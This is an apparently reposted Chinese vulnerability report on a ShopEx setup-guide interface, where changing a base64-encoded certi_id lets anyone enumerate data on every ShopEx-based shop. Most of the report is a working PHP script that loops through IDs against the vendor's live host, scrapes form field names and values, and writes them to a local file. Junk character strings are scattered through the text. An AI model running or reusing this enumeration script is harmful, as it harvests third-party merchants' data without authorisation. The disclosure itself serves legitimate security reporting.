ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
9 ]% l% m6 t9 f" yShopEx某接口缺陷,可遍历所有网站
详细说明：
) W; _4 n$ P/ s+ n# Z问题出现在shopex 网店使用向导页面

0 {. t& ?) \9 n% ^6 X! J

1 K0 _* t) B5 F  e) s3 D$ `  ghttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=

9 q4 K1 B  T% p2 p( r7 M# h# x

refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

+ E1 \8 l! a; L) z* {7 L1 Y* E$ ~
, [* ?4 ^/ ?& P& a9 _( J* N/ p2 f
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
. A* L, _! o& m: B6 w+ M4 f
8 a+ `3 K9 o1 c2 a+ D- B, k

, R* r7 ~# f6 e" n<?php

                for ($i=1; $i < 10000; $i++) { //遍历
% W$ ~' h3 x8 x) \: |
$ @0 W$ C: S" M' d8 ~: |, U                        ShowshopExD($i);
, ~& e! W# ~% A  x$ P
                }
* E4 Q5 S4 f* L! J: V: V3 `8 e
                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;

        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
  O" t, r) s+ z' ~# R3 B! ?1 ]
4 u: ]* v1 w% [- F        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;

7 `7 u- x0 b& U1 A& B        $result = curl_exec($ch);

        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
5 B* r; U& O  y; U0 E3 l
        if(strpos($result,$refer))
0 L" H6 q9 |) B/ ?5 V1 p9 X4 g6 H# Q
* }8 U! }& E% i& h# m& L, v        {

* W$ ^! h. E0 v" R: j, P' q                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
4 U9 A( [  r! i- H7 D
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
; C$ ?* \( o3 ~3 f2 d
                foreach ($value[1] as $key) {
& S+ B. U4 p: a4 ^* v% Z1 R6 g6 @
                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
. B. p$ g+ s" p" C3 K( l4 O& I
2 U+ e( d0 h/ F+ A# `; o                        echo $res[1][0].':'.$res[3][0]."\r\n";

" e4 s) s# ^$ [1 K' u                        $col =$res[1][0].':'.$res[3][0]."\r\n";
' @& U& T8 _: B4 l$ x$ H
                        fwrite($fp, $col, strlen($col));

# ?" Y5 ?0 f8 ^! k0 m7 q                }
/ {2 `; M& M7 ?4 H' S6 s; _+ h
                echo '--------------------------------'."\r\n";

                fclose($fp);
/ o7 L! B2 U. l& d3 e1 S' G* ^6 }
4 M' T( J7 y4 ]# ^        }

        flush();
% _0 s# \, ^2 y4 i! |6 o1 C* \
        curl_close($ch);
* M0 r  t8 d* o  [  x
                }

) F5 Z# s! Y6 E  L?>
漏洞证明：
" ?8 K; j2 \7 A) s6 w% \http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
. V! [' @- K& C, |refer换成其他加密方式